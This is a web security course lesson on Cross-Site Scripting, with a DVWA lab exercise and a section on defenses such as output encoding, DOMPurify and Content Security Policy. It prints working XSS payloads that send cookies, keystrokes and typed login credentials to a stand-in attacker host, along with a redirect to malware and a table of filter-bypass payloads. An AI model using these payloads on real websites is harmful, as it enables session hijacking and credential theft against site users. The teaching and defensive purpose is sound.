After mastering SQL injection, we turn to the other most prevalent injection vulnerability: Cross-Site Scripting (XSS). While SQL injection targets the database, XSS targets the users of a web application. It allows attackers to inject malicious scripts into web pages that other users will execute in their browsers.
XSS occurs when an application includes untrusted data in a web page without proper validation or escaping. The attacker's script runs in the victim's browser with the same permissions as the legitimate page โ it can access cookies, session tokens, and any data the page can access.
XSS is consistently one of the most common vulnerabilities found in web applications. It is used for session hijacking, phishing, keylogging, spreading malware, and defacing websites. Understanding XSS is essential for any security professional.
There are three main categories of XSS, each with different attack vectors and implications. Understanding the differences is critical for both exploiting and defending against them.
| Type | Also Called | How It Works | Server Involved? |
|---|---|---|---|
| Reflected XSS | Non-persistent | Malicious script is in the URL or input, reflected back in the response immediately | Yes โ script is in the response |
| Stored XSS | Persistent | Malicious script is saved on the server (e.g., in a comment) and served to every user who views it | Yes โ script is stored server-side |
| DOM-based XSS | Client-side | Vulnerability exists in client-side JavaScript that unsafely processes user input | No โ happens entirely in the browser |
Reflected XSS is the simplest type. The malicious script is part of the request (usually in a URL parameter) and is immediately reflected back in the server's response. The attack requires the victim to click a crafted link.
Let's practice with DVWA's XSS (Reflected) module. Set security to 'Low'. You will see a form that asks for your name.
The application took our input and embedded it directly into the HTML response without any sanitization. The browser interpreted it as a real script tag and executed it. In a real attack, instead of a harmless alert, the script would steal cookies or perform malicious actions.
<!-- What the server sends back as HTML -->
<html>
<body>
<h1>Welcome</h1>
<p>Hello <script>alert('XSS')</script></p>
</body>
</html>
<!-- The browser parses the <script> tag and executes it -->A real reflected XSS attack would look like this URL, which the attacker sends to the victim:
http://localhost/vulnerabilities/xss_r/?name=
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>When the victim clicks this link, their browser sends their session cookie to the attacker's server. The attacker can then use that cookie to impersonate the victim.
Stored XSS is more dangerous because the malicious script is permanently saved on the server. Every user who views the affected page is automatically compromised โ no social engineering required beyond the initial injection.
Common injection points for stored XSS include comment fields, user profiles, forum posts, message boards, and any feature that stores user input and displays it to other users.
โ ๏ธ Stored XSS is particularly dangerous in admin panels. If an attacker injects a script into a field that administrators view, the attacker gains admin-level access. This is a common path to full application compromise.
DOM-based XSS is different because the vulnerability exists entirely in client-side JavaScript. The server may never see the malicious input โ it is processed by JavaScript running in the browser using the Document Object Model (DOM).
<!-- Vulnerable JavaScript in the page -->
<script>
// Reads the 'default' parameter from the URL
var lang = document.location.href.match(/default=([^&]+)/);
document.write("<option value=" + lang[1] + ">" + lang[1] + "</option>");
</script>
<!-- Attacker crafts this URL: -->
<!-- page.html=default=<script>alert('XSS')</script> -->
<!-- The script tag is written directly into the page's DOM -->The dangerous functions to look for in DOM-based XSS are: document.write(), innerHTML, eval(), setTimeout() with string arguments, and any function that takes user-controlled data and inserts it into the page.
๐ก DOM-based XSS is invisible to server-side WAFs and security tools because the malicious payload never reaches the server. You must analyze the client-side JavaScript to find these vulnerabilities.
Beyond simple alert boxes, XSS payloads can perform a wide range of malicious actions. Here are the most common techniques attackers use.
// Cookie theft โ sends the victim's cookies to the attacker
<script>
new Image().src = 'http://attacker.com/log?c=' + document.cookie;
</script>
// Keylogger โ captures everything the victim types
<script>
document.addEventListener('keypress', function(e) {
fetch('http://attacker.com/log?key=' + e.key);
});
</script>
// Phishing โ replaces the page content with a fake login form
<script>
document.body.innerHTML = '<h1>Session Expired</h1>' +
'<form action="http://attacker.com/steal">' +
'Username: <input name="user"><br>' +
'Password: <input type="password" name="pass"><br>' +
'<button>Login</button></form>';
</script>
// Redirect โ sends the victim to a malicious page
<script>
window.location = 'http://attacker.com/malware.html';
</script>Applications often implement filters to block common XSS payloads. These filters are frequently bypassed because they use simple pattern matching rather than proper encoding.
| Filter Targets | Bypass Technique | Example Payload |
|---|---|---|
| <script> tags | Use other HTML tags | <img src=x onerror=alert(1)> |
| alert keyword | Use other functions | <img src=x onerror=prompt(1)> |
| Parentheses | Use backticks or throw | <img src=x onerror=alert`1`> |
| Space characters | Use / or tabs | <img/src=x/onerror=alert(1)> |
| Angle brackets | Inject into existing attributes | " onfocus=alert(1) autofocus=" |
XSS defense requires a multi-layered approach. The primary defense is output encoding โ converting special characters into their HTML entity equivalents so they are displayed as text rather than interpreted as code.
# Python (Flask/Jinja2) โ Auto-escaping in templates
# Jinja2 auto-escapes by default:
<p>Hello, {{ username }}</p>
# If username is <script>alert('XSS')</script>,
# it renders as: <script>alert('XSS')</script>
# Manual escaping with MarkupEscape:
from markupsafe import escape
safe_output = escape(user_input)// JavaScript โ Safe DOM manipulation
// DANGEROUS: Using innerHTML with user input
element.innerHTML = userInput; // Vulnerable!
// SAFE: Using textContent (treats input as text, not HTML)
element.textContent = userInput; // Safe
// SAFE: Using DOMPurify to sanitize HTML
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);# Content Security Policy header example
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
# This prevents inline scripts from executing, blocking most XSS attacks
# even if the payload is successfully injected into the pageContent Security Policy (CSP) is one of the most effective XSS defenses. Even if an attacker successfully injects a script, CSP can prevent it from executing. However, CSP must be configured carefully โ overly permissive policies (like 'unsafe-inline') provide no protection.
Verify exercises to earn โ 170 XP and unlock next lab level.